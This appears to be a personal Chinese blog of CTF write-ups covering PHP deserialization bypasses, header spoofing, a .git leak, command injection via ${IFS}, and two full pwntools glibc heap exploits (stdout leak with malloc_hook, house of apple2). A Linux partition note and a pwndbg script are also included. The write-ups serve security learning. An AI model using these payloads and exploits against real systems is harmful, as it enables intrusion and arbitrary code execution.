从0开始的web生涯 - [SWPUCTF 2021 新生赛]no_wakeup

PHP反序列化函数 考察的主要是绕过_wakeup 当序列化字符串的属性个数和括号内不符就绕过了

import requests 

import json

param = "O%3A6%3A%22HaHaHa%22%3A3%3B%7Bs%3A5%3A%22admin%22%3Bs%3A5%3A%22admin%22%3Bs%3A6%3A%22passwd%22%3Bs%3A4%3A%22wllm%22%3B%7D"

url = f"http://node7.anna.nssctf.cn:23157/class.php?p={param}"

resp = requests.get(url=url)

print(resp.text)

从0开始的web生涯 - [SWPUCTF 2021 新生赛]Do_you_know_http

很简单的一题 主要考察header的使用
开头让我们用WLLM浏览器访问 肯定就是检测UA
然后说让我们在本地访问 header有一个头叫X-Forwarded-For 可以轻松绕过

import requests 

import json

header = {

  'user-agent':'WLLM',

  'X-Forwarded-For':'127.0.0.1'

}

url = f"http://node7.anna.nssctf.cn:23001/"

resp = requests.post(url=url,headers=header)

print(resp.text)

image-20250427165424939

从0开始的web生涯 - [SWPUCTF 2021 新生赛]ez_unserialize

看题目是反序列化的,反序列化应该是有点像python的数组转JSON,因为PHP我记得是运行时语言(?好像是这样叫,有可能加个分号什么的可以执行命令

打开只有一只可爱的胡桃。

image-20250427141203475

直接开扫

image-20250427141223947

flag.php进去空白的

根据我的百度seo经验 robots.txt一般有货 robots.txt是让搜索引擎爬虫看的

image-20250427141305756

image-20250427141322216

找到题目了

O:4:”wllm”:2:{s:5:”admin”;s:5:”admin”;s:6:”passwd”;s:3:”ctf”;}

因为不是new 一个对象 而是直接反序列化 所以_construct 构造函数不会执行

可以手搓序列化 : O 类名字符数 类名后面的是属性

得到flag

从0开始的web生涯 - [第五空间 2021]WebFTP

目录扫描 信息收集 .git泄露

虽然没怎么接触 盲猜是扫目录 + 扫端口 没怎么接触过kali

image-20250427134740449

扫目录好像是dirsearch 这边装的没找见 更新下源

image-20250427134825901

装上咯

Dirsearch的使用非常简单,只需要在终端中输入相应的命令即可。以下是一些常用的命令选项:

-u:指定目标URL。
-e:指定要扫描的文件扩展名(多个扩展名之间用逗号分隔)。
-w:指定自定义的字典文件(用于生成扫描路径)。
-o:指定输出格式(支持json、csv、txt等)。
-r 递归目录(跑出目录后,继续跑目录下面的目录
–random-agents 使用随机UA
–threads:设置扫描线程数(默认为10)。
例如,要扫描目标URL http://example.com 并输出为JSON格式,可以使用以下命令:

image-20250427135004070

就放在相对目录下的.git 既然提示了git泄露

通过访问/.git/config文件可以正常的访问,config的配置信息中,我们可以看到以下的内容:

  • 版本控制系统信息: repositoryformatversion = 0,表明这是 Git 版本 1 的配置。
  • 仓库类型: bare = false,表明这是工作目录,并非裸仓库。
  • 分支信息: 包含 master 和 localize 两个分支的信息。
  • 远程仓库地址: url = XXXXXXXX:XXXXXXXX/radiodetali.git,攻击者通过这个信息可以获取到远程仓库的地址,甚至通过其他漏洞进一步入侵远程仓库。

http://node7.anna.nssctf.cn:28653/.git/config

[core]
	repositoryformatversion = 0
	filemode = true
	bare = false
	logallrefupdates = true
	ignorecase = true
	precomposeunicode = true
[remote "origin"]
	url = https://github.com/wifeat/WebFTP.git
	fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
	remote = origin
	merge = refs/heads/master

去github找readme发现默认账号密码

使用说明 1、初始账号 超级管理员 admin 密码 admin888

找老半天找到flag 在phpinfo的environment里面 真傻逼

还可以通过.git 找到image-20250427140558753

打开是admin 的 密码 md5

image-20250427140627384

从0开始的web生涯 - [SWPUCTF 2021 新生赛]babyrce

<?php
error_reporting(0);
header("Content-Type:text/html;charset=utf-8");
highlight_file(__FILE__);
if($_COOKIE['admin']==1) {
	include "../next.php";
} else
    echo "小饼干最好吃啦!";
?> 小饼干最好吃啦!

直接传递cookies admin 为1 就可以

import requests 

url = "http://node5.anna.nssctf.cn:29857/"

cookies = {

  'admin': "1"

}

resp = requests.post(url=url,cookies=1)

print(resp.text)

得到rasalghul.php

<?php
error_reporting(0);
highlight_file(__FILE__);
error_reporting(0);
if (isset($_GET['url'])) {
	$ip=$_GET['url'];
	if(preg_match("/ /", $ip)) {
		die('nonono');
	}
	$a = shell_exec($ip);
	echo $a;
}
?>

正则过滤空格 ${IFS}可绕过 ${IFS} - Linux 下的空白字符

import requests 

param = "ls${IFS}/"

url = f"http://node5.anna.nssctf.cn:29857/rasalghul.php?url={param}"

resp = requests.get(url=url)

print(resp.text)

flag为flllllaaaaaaggggggg

boot
dev
etc
flllllaaaaaaggggggg
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

结束

记一次vmware linux扩展/(根目录)分区

由于在安装的时候做分区的时候做错了,把大部分空间给了/home 导致根分区一直没什么空间

在编译qemu并安装的时候爆了 开机就弹”unable to start gdm service”

然后报no space left

直接vmware扩展分区

然后fdisk 建立新分区 将老的分区dd过去

dd if=/dev/sda1 of=/dev/sda6 status=progress bs=4M #将/dev/sda1 复制到/dev/sda6

然后

resize2fs /dev/sda6

不需要重新安装grub 随后把/dev/sda1直接删就行

不需要动/etc/fstab 因为克隆过来UUID一样的

注意resize2fs 要不然开机还是没空间

然后就顺利进入系统了

[2021 长城杯_院校组]K1ng_in_h3ap_I - stdout泄露libc初探

题目存在UAF OFF-BY-ONE

通过申请0x*8 的chunk 可以覆盖到size 位

所以可以让不属于unsortbin 的chunk free到unsortbin里面去

然后再free一个chunk造成同时存在于unsortbin fastbin

然后通过拿到_IO_2_1_STDOUT的控制权 覆盖_io_write_ptr指针

让他打印一些地址 然后就可以拿到libc_base

同时学到了 ogg 如果堆栈不平衡 可以写到_realloc_hook

然后__malloc_hook写realloc就平衡了

from pwn import *
from LibcSearcher import *
#from LibcSearcher import *
context.log_level = 'debug'
context.arch = 'amd64'
io = remote("node7.anna.nssctf.cn",29639)
#io = process("./pwn")
e = ELF('./pwn')
libc = ELF('/home/rick/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

def get_addr():
	return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def bug():
    attach(io)

s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r       = lambda num                :io.recv(num)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
ls      = lambda data               :log.success(data)
dlog     = lambda name,data         :log.success(f"get {name}=>"+hex(data))

def add(idx,size):
    sla(b">> ",str(1))
    sla(b"index:",str(idx))
    sla(b"size:",str(size))    

def delete(idx):
    sla(b">> ",str(2))
    sla(b"index:",str(idx))

def edit(idx,content):
    sla(b">> ",str(3))
    sla(b"index:",str(idx))
    sla(b"context:",content)

sla(b">> ",str(666))
ru(b"\n")
offset = libc.sym["printf"] - libc.sym["_IO_2_1_stdout_"]
leak_printf_low_addr = int(ru(b"\n",drop=True),16)
stdout_addr_offset = hex(leak_printf_low_addr - offset -0x43)[2:]
add(0,0x28)
add(1,0x30)
add(2,0x60)
add(3,0x20)
edit(0,'a'*0x28+'\xb1')
delete(1) #进入unsortbin
delete(2) #进入fastbin 但是前面有进unsortbin的 所以合并 造成重叠
add(4,0x30)
byte_data = bytes([int(stdout_addr_offset[i:i+2], 16) for i in range(len(stdout_addr_offset)-2, -2, -2)])
edit(2,byte_data)
add(4,0x68)
add(5,0x68) #get stdout - 0x43
edit(5,b'a'*0x33+p64(0xfbad1877)+p64(0)*3+b'\x50')
leak_stdout_131 = uu64(ru(b"1. add")[1:7]) #<_IO_2_1_stdout_+131
dlog("leak_stdout_131",leak_stdout_131)
libc_base = leak_stdout_131 - libc.sym["_IO_2_1_stdout_"] - 131
dlog("libc_base",libc_base)
og = [0x4527a,0xf03a4,0xf1247]
ogg = libc_base + og[0]
malloc_hook_fake_fastbin = libc_base + libc.sym["__malloc_hook"] -0x23
dlog("malloc_hook_fake_fastbin",malloc_hook_fake_fastbin)
add(6,0x68)
delete(6)
edit(6,p64(malloc_hook_fake_fastbin))
add(7,0x68)
add(8,0x68) #get __malloc_hook fake fastbin
edit(8,b'a'*11+p64(ogg)+p64(libc_base+libc.sym["realloc"]+13))
#通过把one_gadget 写到 realloc_hook 然后malloc_hook 写realloc 来达到栈平衡
add(9,0x10)


io.interactive()

参考

https://blog.csdn.net/Invin_cible/article/details/123042819

https://blog.csdn.net/yongbaoii/article/details/120386179

[巅峰极客 2022]happy note - 高版本glibc _IO_FILE初探

第一次打高版本的_IO_FILE利用 也算正式进入了 house of家族了。

这次用的是比较简单的house of apple2

因为_wide_data 的 _wide_vtable 没有像正常的_IO_FILE结构的 vtable检查

所以可以通过伪造_IO_LIST_ALL 指向的 _IO_FILE 结构

在伪造指向的_WIDE_DATA 和 修改_IO_FIILE的vtable为_IO_wfile_jumps(可以符合vtable检查)

同时把单链表指向的下一个_IO_FILE结构的_chain值破坏掉 引发刷新 然后就可以碰到one gadget

from pwn import *
from LibcSearcher import *
#from LibcSearcher import *
context.log_level = 'debug'
context.arch = 'amd64'
#io = remote("node4.anna.nssctf.cn",28710)
io = process("./happy_note")
e = ELF('./happy_note')
libc = ELF('/home/rick/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6')

def get_addr():
	return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def bug():
    attach(io)

s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r       = lambda num                :io.recv(num)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
ls      = lambda data               :log.success(data)
dlog     = lambda name,data         :log.success(f"get {name}=>"+hex(data))

def add(size,idx,mode):
    sla(b">> ",str(1))
    sla(b"size:",str(size))
    sla(b"note:",str(idx))
    sla(b"or [2]",str(mode))    
    #mode 1 = calloc mode 2 = malloc only 2 twice
    #input 666 can be uaf once 

def delete(idx):
    sla(b">> ",str(2))
    sla(b"note:",str(idx))

def show(idx):
    sla(b">> ",str(3))
    sla(b"to show?",str(idx))

def edit(idx,content):
    sla(b">> ",str(4))
    sla(b"note:",str(idx))
    sa(b"content:",content)

for i in range(11):
     add(0x160,i,1)

for i in range(7):
     delete(i)
sla(b">> ",str(666))
sla(b"note:",str(7))
delete(9)
#现在7号区块bk为9号区块的heap_addr ,fd是main_arena , unsortbin没有safe-linking
show(7)
ru(b"content: ")
leak_main_arena = uu64(r(6))
dlog("leak_main_arena",leak_main_arena)
edit(7,b'a'*8)
show(7)
ru(b"a"*8)
leak_heap_addr = uu64(r(6))
dlog("leak_heap_addr",leak_heap_addr)
edit(7,p64(leak_main_arena)+p64(leak_heap_addr)) #fix
libc_base = leak_main_arena - 96 - 0x150 - libc.sym["_IO_2_1_stdin_"] - 144
dlog("libc_base",libc_base)
heap_base = leak_heap_addr - 0xf80
dlog("heap_base",heap_base)
libc_io_list_all = libc_base + libc.sym["_IO_list_all"]
dlog("libc_io_list_all",libc_io_list_all)
enctypted_fd = (leak_heap_addr >> 12)^libc_io_list_all
add(0x90,0,1)
add(0x90,1,1)
delete(1)
delete(7) # idx 0 still uaf
edit(0,p64(enctypted_fd))
add(0x90,1,2)
add(0x90,2,2) # use malloc and get _IO_list_all
fake_file_io_struct = heap_base + 0x1260
fake_wide_data = fake_file_io_struct + 0x210
io_wfile_jumps = libc_base + libc.sym["_IO_wfile_jumps"]
dlog("fake_file_io_struct",fake_file_io_struct)
dlog("fake_wide_data",fake_wide_data)
dlog("io_wfile_jumps",io_wfile_jumps)
og = [0x50a37,0xebcf1,0xebcf5,0xebcf8]
ogg = libc_base + og[1]
#edit(10,payload)
add(0x200,3,1) #fake io_list_all
add(0x200,4,1) #_fake_wide_data
add(0x200,5,1) #_fake_wide_vtable
fake_io_list_all_struct = FileStructure()
fake_io_list_all_struct._IO_read_ptr = 0x521
fake_io_list_all_struct._IO_read_end = 0x1000
fake_io_list_all_struct._IO_write_ptr = 0x1000
fake_io_list_all_struct._wide_data = fake_wide_data+0x10
fake_io_list_all_struct.vtable = io_wfile_jumps
fake_io_list_all_struct.chain = 0x1234 #通过把chain设置成乱七八糟的值破坏链表 从而刷新触发ogg
edit(3,bytes(fake_io_list_all_struct))

fake_vtable = heap_base + 0x1680 # idx0 
edit(5,p64(ogg)*40) # fill ogg

fake_wide_data = p64(0)+p64(0x510)+p64(0)*0x1a
fake_wide_data += p64(fake_vtable+0x10)
edit(4,bytes(fake_wide_data))
edit(2,p64(fake_file_io_struct+0x10))

#attach(io)
delete(7)#使用 [返回到main函数]触发house of apple2

#现在的接收都是u64(p.recv(5).ljust(8,b’\x00’)) << 12
#而修改heap的fd指针则是(heap_addr >> 12)^target_addr

io.interactive()

两次malloc 一次uaf 可以通过unsortbin切割块进tcache 然后通过uaf改 进tcache的fd 就可以拿到IO_LIST_ALL的写 然后覆盖成伪造的结构 然后触发返回到main函数 就可以触发one_gadget

house家族真心有点难…

pwngdb解决更换libc后不加载符号/_IO_FILE等结构没有符号的问题

之前符号都很正常 知道开始做IO_FILE题目,更换glibc版本后一直找不到_IO_FILE的符号

一开始以为是glibc_all_in_one没有下载debug的glibc 然后看了一下download的输出是有的

放在了.debug目录 查了好久都说pwndbg会自己加载 然后看了pwndbg说glibc没有符号

终于找到了解决方案 看到了这位师傅的文章https://www.cnblogs.com/9man/p/17741818.html

脚本获取,配置

执行vim ~/.pwndbg/gdbinit.py
然后复制下方代码到最底下,然后输入:wq回车,保存退出。

我改了一下添加的脚本

import gdb
import os
from pathlib import Path

# ANSI颜色转义码
COLOR_GREEN = "\033[32m"  # 绿色
COLOR_RED = "\033[31m"    # 红色
COLOR_RESET = "\033[0m"   # 重置颜色

# 递归加载符号文件的函数
def load_symbols_recursive(folder_path):
    # 获取文件夹下的所有内容,包括子文件夹
    items = os.listdir(folder_path)

    for item in items:
        item_path = os.path.join(folder_path, item)

        if os.path.isfile(item_path):
            try:
                gdb.execute("add-symbol-file {}".format(item_path))
                print(COLOR_GREEN + "[+] Loaded symbols " + COLOR_RESET + "from {}".format(item_path))
            except gdb.error as e:
                print(COLOR_RED + "[-] Failed to load" + COLOR_RESET + " symbols from {}: {}".format(item_path, e))
        elif os.path.isdir(item_path):
            load_symbols_recursive(item_path)  # 递归处理子文件夹

# 创建一个自定义的GDB命令,用于加载libc路径对应的.debug符号
class LoadLibcDebugSymbols(gdb.Command):
    def __init__(self):
        super(LoadLibcDebugSymbols, self).__init__("loadlibc", gdb.COMMAND_USER)

    def invoke(self, arg, from_tty):
        # 解析参数为libc路径
        libc_path = arg.strip()

        if not libc_path:
            print("Usage: loadlibc <libc_path>")
            print("Example: loadlibc /home/rick/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6")
            return

        # 检查文件是否存在
        if not os.path.exists(libc_path) or not os.path.isfile(libc_path):
            print(COLOR_RED + "[-] Libc file does not exist: {}".format(libc_path) + COLOR_RESET)
            return

        # 获取.debug文件夹路径
        libc_dir = os.path.dirname(libc_path)
        debug_dir = os.path.join(libc_dir, ".debug")

        # 检查.debug文件夹是否存在
        if not os.path.exists(debug_dir) or not os.path.isdir(debug_dir):
            print(COLOR_RED + "[-] .debug folder does not exist in: {}".format(libc_dir) + COLOR_RESET)
            return

        # 先加载libc本身的符号
        try:
            gdb.execute("sharedlibrary libc.so.6")
            print(COLOR_GREEN + "[+] Loaded libc.so.6 symbols" + COLOR_RESET)
        except gdb.error as e:
            print(COLOR_RED + "[-] Failed to load libc.so.6 symbols: {}".format(e) + COLOR_RESET)

        # 然后加载.debug文件夹中的符号
        print(COLOR_GREEN + "[*] Loading debug symbols from: {}".format(debug_dir) + COLOR_RESET)
        load_symbols_recursive(debug_dir)

LoadLibcDebugSymbols()

用法:loadlibc [libc路径]

会自动查找libc路径下的.debug文件夹并且加载符号